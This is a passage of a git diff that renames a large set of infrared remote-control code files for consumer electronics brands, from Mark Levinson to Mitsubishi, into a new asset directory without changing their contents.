a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir 